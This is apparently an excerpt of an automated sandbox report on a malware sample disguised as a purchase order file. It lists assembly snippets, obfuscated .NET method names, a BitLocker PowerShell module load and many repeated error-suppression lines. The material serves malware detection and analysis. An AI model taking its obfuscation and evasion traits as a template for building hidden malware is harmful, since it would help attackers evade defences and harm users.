Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0388EFB4 push ebx; retf 7_2_0388EFBC
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038A57E2 push esi; iretd 7_2_038A57EB
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_0388D764 push ebp; retf 7_2_0388D767
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038B463A pushfd ; retf 7_2_038B4675
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038A65C4 push D4A4F74Ah; ret 7_2_038A65CB
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe Code function: 7_2_038A64DD push ss; ret 7_2_038A64DE
Source: PO Copy_7854569.exe Static PE information: section name: .text entropy: 7.965905089311066
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, OhkJ9nOLRoKG7gW3WD.cs High entropy of concatenated method names: 'TDRwituHL4', 'WLZwHiAxW3', 'P5nwa60Ia3', 'GFDwsTvGWO', 'jufwy0DOcQ', 'g80aKaCEId', 'DP7a676T3H', 'oInaeuKQOX', 'blKaSo4QfJ', 'q5VajogUPC'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, peWhJDCjwBaMwsIn3F.cs High entropy of concatenated method names: 'IFosIRKFky', 'Vy1soijwLh', 'yOJs9dmqYx', 'u5mscVDkBc', 'SErs2EEoPV', 'KAFsrb0iVD', 'v04sq5N1it', 'n77sWBjj5L', 'B6ysMcDjdP', 'YeTsYEr9CU'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, sJyjJmRBhqG0a3LJbf.cs High entropy of concatenated method names: 'YHtnW99JQl', 'p3gnMI9LZ4', 'nxVnOXrWK4', 'iL2nflGojv', 'OO9nlB2wR1', 'olSnLIwyLB', 'rjYnNZBW2d', 'u2tndt00aV', 'vuonggphZZ', 'xrMnv0rxt6'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, Q0dZA0SOwkgV01K6U7.cs High entropy of concatenated method names: 'hfv1tx2T7i', 'M3v1HofWtu', 'HLL1hYe6QD', 'Shy1aDZjPI', 'kOt1w8ttlA', 'cVh1siWwIi', 'tSP1yNuSek', 'mgU1JGbg31', 'KJL1uCVQUK', 'cVN1xRRDpm'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, n39DtdDEZ05W1mcBdY.cs High entropy of concatenated method names: 'j99TuIMSOS', 'foATxJ77Pg', 'ToString', 'lEoTt9Oesv', 'tGCTHqkQYo', 'MaQThPOVBO', 'WpnTamLcR3', 's1PTw20Ivr', 'uVxTs1IPK1', 'NM9TyUpYRN'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, BSloyIHpKq50USdnyv.cs High entropy of concatenated method names: 'Dispose', 'XD3AjtG84Q', 'M5iUf1mTAJ', 'vx5wwEkkbL', 'sb0AEdZA0O', 'ikgAzV01K6', 'ProcessDialogKey', 'c7VUGSgXJG', 'bFVUA8XnUD', 'KgwUUtZyjG'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, EMiiKLWxXWlFcu6Hvp.cs High entropy of concatenated method names: 'fJuHb8bW20', 'QbnH5XP3gG', 'EiAHkxWbKQ', 'HohHDLhZUD', 'AFrHKEdCuR', 'Vs3H6TpZ4x', 'viTHeCGHfl', 'xdZHS54ewm', 'fedHjbQhDI', 'SBXHElaJ9p'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, r0KqCkAGoVeL9JewmMl.cs High entropy of concatenated method names: 'UlFQIyEUO9', 'xHwQokrUfq', 'R2iQ9DyqMD', 'KbvQcoPvXn', 'v0VQ2jQFmg', 'cbKQrHtUTO', 'MWDQqpteBT', 'CBpQWLlZhG', 'mCMQMTvkaJ', 'eCSQYmLoO2'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, IiLPlTApY2IwdUFgvUr.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PO0mbQwcLe', 'YDAm599N8i', 'TcHmkEgESa', 'YcrmDkt6IT', 'CAemKhdVmE', 'cOym6UI4Tq', 'cKhmeZ3SYj'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, hIjXjEkgWLCMLWlqkR.cs High entropy of concatenated method names: 'ToString', 'bw5BvqNNvr', 'PEYBf3NC4L', 'QtSBXnkbOD', 'vKaBl4iAgJ', 'PbUBL7U3pU', 'lEABPjvZtb', 'MD8BNwC9oa', 'YYeBd9Pg78', 'aTlBCHEc6Z'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, Yl2TpEhOAV3Wgukmev.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'xnYUjQUba7', 'OtyUEQkt9n', 'lvKUz0ybQX', 'D4DpGREIK2', 'LqJpAZRhMQ', 'w8kpUsRJpG', 'kLCppOqoey', 'bedmAwU8gmhJcKHIvNZ'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, eQTGxQMCriBPUECQkp.cs High entropy of concatenated method names: 'IFThceXOeu', 'nRahrWAFkO', 'tHfhWB5wAe', 'blGhM4EU16', 'I1Yh3WiG3p', 'gg6hBfcEaq', 'roChT8WGof', 'M7Ph1U2nIw', 'EQAhQKrJMs', 'a9ehm1ogYh'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, fZyjGrE41t2wZ3yExt.cs High entropy of concatenated method names: 'BKjQAiy4Jx', 'uewQpkc5nD', 'fTJQ03uIkK', 'ixdQt1QLro', 'MFxQH0nUIM', 'sH0QaQoPLw', 'rjEQwtRHrs', 'LB11ebknmw', 'on21SgU0kC', 'r2s1j0oPf7'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, F1oKItzxuhOn7N0oJw.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gERQnVME3a', 'G5sQ3CcTcB', 'jG2QBcvnUq', 'XU8QTwAVpf', 'BN3Q1qF0pU', 'TXeQQShfT6', 'wmoQmkB7jN'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, IHN8cPAUqHFw18sXLCB.cs High entropy of concatenated method names: 'NTomILlGVl', 'dx3moaUGux', 'svHm98Jsk7', 'cmTvXvjV8S8rZlWqfH6', 'opWs6oj1hQ7eStUNr8x', 'lMK3s6jwJM20D6BAFnZ', 'Mxl8P0jlB7Jy8JdfOGn', 'oVaWxpj7HrEiAFIoNkd'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, sAQsu8yt6lLQbnQvsb.cs High entropy of concatenated method names: 'G70piL5xeU', 'U6optABSFC', 'nOPpHk0EDx', 'L9QphUL8MB', 'vorpahvN4L', 'qyLpwjAD1n', 'yX2psVDnxG', 'btbpyuFTQb', 'VMTpJv69pL', 'LB2puFHCj4'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, nQM0YSNn91jdHnqgms.cs High entropy of concatenated method names: 'Dn2stD0q7D', 'arYshEQtHd', 'sO7swuuFL0', 'TROwEUfIuO', 'iDJwzpjRLS', 'uyQsGi7pX5', 'Bo1sAxC3ZH', 'HRpsU74jb1', 'ItospI9rdc', 'EFGs080kym'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, X82ux400NwfAo6U6vk.cs High entropy of concatenated method names: 'h5MAsMiiKL', 'nXWAylFcu6', 'rCrAuiBPUE', 'MQkAxpDXcc', 'q6SA369vhk', 'l9nABLRoKG', 'q6GuqmcnZ5UQBZCuXD', 'v41UndumUFgyITsvHq', 'XmGAAmdQE0', 'RJKAp5VAr0'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, vSgXJGjAFV8XnUDPgw.cs High entropy of concatenated method names: 'WEO1OEIesd', 'Cm81ff7SHW', 'vyV1X65O0l', 'jpf1lSHYfg', 'blk1bDYN8y', 'vxC1L5QyBn', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, oQukkDbPliL2oqnu2j.cs High entropy of concatenated method names: 'hra3gA9bYm', 'HDl3FISXQ9', 'RCu3bQaWp7', 'svS35gQGbx', 'xMA3fxpYdG', 'eEC3XkofYS', 'hGd3lARFfo', 'HuS3Lgd41t', 'BL23PZlune', 'grC3NgYmeK'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, AbWPMTUYK7UmKegXNW.cs High entropy of concatenated method names: 'z1w9mLk3p', 'W9ac7usDj', 'nGTrwkxSt', 'RRoqNZTwb', 'PrJMFsRMp', 'pJqYCNqdc', 'NRpk4oSSR3iJZudKxb', 'oE1T3WeEJljmrroITu', 'egM1WHRCU', 'oOSm9gkXj'
Source: 0.2.PO Copy_7854569.exe.7ef0000.11.raw.unpack, Fn7r8x6bOEExq2An9V.cs High entropy of concatenated method names: 'nrfTSdfYNh', 'aiOTEXpn6S', 'nqf1G2jJAt', 'hJk1AL3AUw', 'VdkTv7yQpS', 'SaqTFFkN9E', 'lYTTRFB1a5', 'mnLTbQ5GJ8', 'cAjT5m1hZF', 'F8UTkHYCkD'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, OhkJ9nOLRoKG7gW3WD.cs High entropy of concatenated method names: 'TDRwituHL4', 'WLZwHiAxW3', 'P5nwa60Ia3', 'GFDwsTvGWO', 'jufwy0DOcQ', 'g80aKaCEId', 'DP7a676T3H', 'oInaeuKQOX', 'blKaSo4QfJ', 'q5VajogUPC'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, peWhJDCjwBaMwsIn3F.cs High entropy of concatenated method names: 'IFosIRKFky', 'Vy1soijwLh', 'yOJs9dmqYx', 'u5mscVDkBc', 'SErs2EEoPV', 'KAFsrb0iVD', 'v04sq5N1it', 'n77sWBjj5L', 'B6ysMcDjdP', 'YeTsYEr9CU'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, sJyjJmRBhqG0a3LJbf.cs High entropy of concatenated method names: 'YHtnW99JQl', 'p3gnMI9LZ4', 'nxVnOXrWK4', 'iL2nflGojv', 'OO9nlB2wR1', 'olSnLIwyLB', 'rjYnNZBW2d', 'u2tndt00aV', 'vuonggphZZ', 'xrMnv0rxt6'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, Q0dZA0SOwkgV01K6U7.cs High entropy of concatenated method names: 'hfv1tx2T7i', 'M3v1HofWtu', 'HLL1hYe6QD', 'Shy1aDZjPI', 'kOt1w8ttlA', 'cVh1siWwIi', 'tSP1yNuSek', 'mgU1JGbg31', 'KJL1uCVQUK', 'cVN1xRRDpm'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, n39DtdDEZ05W1mcBdY.cs High entropy of concatenated method names: 'j99TuIMSOS', 'foATxJ77Pg', 'ToString', 'lEoTt9Oesv', 'tGCTHqkQYo', 'MaQThPOVBO', 'WpnTamLcR3', 's1PTw20Ivr', 'uVxTs1IPK1', 'NM9TyUpYRN'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, BSloyIHpKq50USdnyv.cs High entropy of concatenated method names: 'Dispose', 'XD3AjtG84Q', 'M5iUf1mTAJ', 'vx5wwEkkbL', 'sb0AEdZA0O', 'ikgAzV01K6', 'ProcessDialogKey', 'c7VUGSgXJG', 'bFVUA8XnUD', 'KgwUUtZyjG'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, EMiiKLWxXWlFcu6Hvp.cs High entropy of concatenated method names: 'fJuHb8bW20', 'QbnH5XP3gG', 'EiAHkxWbKQ', 'HohHDLhZUD', 'AFrHKEdCuR', 'Vs3H6TpZ4x', 'viTHeCGHfl', 'xdZHS54ewm', 'fedHjbQhDI', 'SBXHElaJ9p'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, r0KqCkAGoVeL9JewmMl.cs High entropy of concatenated method names: 'UlFQIyEUO9', 'xHwQokrUfq', 'R2iQ9DyqMD', 'KbvQcoPvXn', 'v0VQ2jQFmg', 'cbKQrHtUTO', 'MWDQqpteBT', 'CBpQWLlZhG', 'mCMQMTvkaJ', 'eCSQYmLoO2'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, IiLPlTApY2IwdUFgvUr.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PO0mbQwcLe', 'YDAm599N8i', 'TcHmkEgESa', 'YcrmDkt6IT', 'CAemKhdVmE', 'cOym6UI4Tq', 'cKhmeZ3SYj'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, hIjXjEkgWLCMLWlqkR.cs High entropy of concatenated method names: 'ToString', 'bw5BvqNNvr', 'PEYBf3NC4L', 'QtSBXnkbOD', 'vKaBl4iAgJ', 'PbUBL7U3pU', 'lEABPjvZtb', 'MD8BNwC9oa', 'YYeBd9Pg78', 'aTlBCHEc6Z'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, Yl2TpEhOAV3Wgukmev.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'xnYUjQUba7', 'OtyUEQkt9n', 'lvKUz0ybQX', 'D4DpGREIK2', 'LqJpAZRhMQ', 'w8kpUsRJpG', 'kLCppOqoey', 'bedmAwU8gmhJcKHIvNZ'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, eQTGxQMCriBPUECQkp.cs High entropy of concatenated method names: 'IFThceXOeu', 'nRahrWAFkO', 'tHfhWB5wAe', 'blGhM4EU16', 'I1Yh3WiG3p', 'gg6hBfcEaq', 'roChT8WGof', 'M7Ph1U2nIw', 'EQAhQKrJMs', 'a9ehm1ogYh'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, fZyjGrE41t2wZ3yExt.cs High entropy of concatenated method names: 'BKjQAiy4Jx', 'uewQpkc5nD', 'fTJQ03uIkK', 'ixdQt1QLro', 'MFxQH0nUIM', 'sH0QaQoPLw', 'rjEQwtRHrs', 'LB11ebknmw', 'on21SgU0kC', 'r2s1j0oPf7'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, F1oKItzxuhOn7N0oJw.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gERQnVME3a', 'G5sQ3CcTcB', 'jG2QBcvnUq', 'XU8QTwAVpf', 'BN3Q1qF0pU', 'TXeQQShfT6', 'wmoQmkB7jN'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, IHN8cPAUqHFw18sXLCB.cs High entropy of concatenated method names: 'NTomILlGVl', 'dx3moaUGux', 'svHm98Jsk7', 'cmTvXvjV8S8rZlWqfH6', 'opWs6oj1hQ7eStUNr8x', 'lMK3s6jwJM20D6BAFnZ', 'Mxl8P0jlB7Jy8JdfOGn', 'oVaWxpj7HrEiAFIoNkd'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, sAQsu8yt6lLQbnQvsb.cs High entropy of concatenated method names: 'G70piL5xeU', 'U6optABSFC', 'nOPpHk0EDx', 'L9QphUL8MB', 'vorpahvN4L', 'qyLpwjAD1n', 'yX2psVDnxG', 'btbpyuFTQb', 'VMTpJv69pL', 'LB2puFHCj4'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, nQM0YSNn91jdHnqgms.cs High entropy of concatenated method names: 'Dn2stD0q7D', 'arYshEQtHd', 'sO7swuuFL0', 'TROwEUfIuO', 'iDJwzpjRLS', 'uyQsGi7pX5', 'Bo1sAxC3ZH', 'HRpsU74jb1', 'ItospI9rdc', 'EFGs080kym'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, X82ux400NwfAo6U6vk.cs High entropy of concatenated method names: 'h5MAsMiiKL', 'nXWAylFcu6', 'rCrAuiBPUE', 'MQkAxpDXcc', 'q6SA369vhk', 'l9nABLRoKG', 'q6GuqmcnZ5UQBZCuXD', 'v41UndumUFgyITsvHq', 'XmGAAmdQE0', 'RJKAp5VAr0'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, vSgXJGjAFV8XnUDPgw.cs High entropy of concatenated method names: 'WEO1OEIesd', 'Cm81ff7SHW', 'vyV1X65O0l', 'jpf1lSHYfg', 'blk1bDYN8y', 'vxC1L5QyBn', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, oQukkDbPliL2oqnu2j.cs High entropy of concatenated method names: 'hra3gA9bYm', 'HDl3FISXQ9', 'RCu3bQaWp7', 'svS35gQGbx', 'xMA3fxpYdG', 'eEC3XkofYS', 'hGd3lARFfo', 'HuS3Lgd41t', 'BL23PZlune', 'grC3NgYmeK'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, AbWPMTUYK7UmKegXNW.cs High entropy of concatenated method names: 'z1w9mLk3p', 'W9ac7usDj', 'nGTrwkxSt', 'RRoqNZTwb', 'PrJMFsRMp', 'pJqYCNqdc', 'NRpk4oSSR3iJZudKxb', 'oE1T3WeEJljmrroITu', 'egM1WHRCU', 'oOSm9gkXj'
Source: 0.2.PO Copy_7854569.exe.45d2860.7.raw.unpack, Fn7r8x6bOEExq2An9V.cs High entropy of concatenated method names: 'nrfTSdfYNh', 'aiOTEXpn6S', 'nqf1G2jJAt', 'hJk1AL3AUw', 'VdkTv7yQpS', 'SaqTFFkN9E', 'lYTTRFB1a5', 'mnLTbQ5GJ8', 'cAjT5m1hZF', 'F8UTkHYCkD'

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
